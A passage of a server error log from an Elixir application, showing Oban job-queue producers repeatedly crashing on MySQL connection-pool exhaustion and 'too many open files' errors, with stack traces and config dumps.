  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:56:59.239002Z], limit: 5, uuid: "a398fcb1-4eba-41d0-8cce-9e085f3903f2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:56:59.239008Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.233411>, refresh_timer: #Reference<0.2525715032.1099431938.75342>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:57:15.960000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:57:17.447000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:57:18.155000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:57:18.643000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:57:19.583000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:57:20.265000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:57:23.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1097ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:57:11.239039Z], limit: 3, uuid: "31a48155-fc72-4dc9-9177-24fe0d742eff", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:57:11.239045Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.233827>, refresh_timer: #Reference<0.2525715032.1077673987.61999>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:57:23.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 851ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:57:11.239695Z], limit: 5, uuid: "14052220-719c-447e-85dc-0c533a9d104f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:57:11.239700Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.233825>, refresh_timer: #Reference<0.2525715032.1077673987.62006>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:57:23.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 870ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:57:11.240225Z], limit: 5, uuid: "52a1400b-e44c-4751-a6b1-fa9b17779de4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:57:11.240230Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.233828>, refresh_timer: #Reference<0.2525715032.1068498948.89176>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:57:23.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1001ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:57:11.239336Z], limit: 50, uuid: "555dded4-7257-4df5-9529-ba6329c61510", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:57:11.239341Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.233826>, refresh_timer: #Reference<0.2525715032.1077673987.61995>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:57:23.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1044ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:57:11.239589Z], limit: 10, uuid: "5069eabf-ef62-487e-8dbd-024226c2136e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:57:11.239594Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.62015>, refresh_timer: #Reference<0.2525715032.1068498948.89163>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:57:23.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 864ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:57:11.239442Z], limit: 20, uuid: "485f3859-151b-4763-ae72-1b6b3bbd606b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:57:11.239448Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.62014>, refresh_timer: #Reference<0.2525715032.1077673987.61998>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:57:25.558000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:57:25.629000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:57:28.013000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:57:29.236000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:57:30.202000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:57:30.275000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:57:35.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1044ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:57:23.240651Z], limit: 5, uuid: "a8524859-1fee-4cfd-b97d-e6784c7c01ae", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:57:23.240658Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.234216>, refresh_timer: #Reference<0.2525715032.1121189889.234207>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:57:35.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 893ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
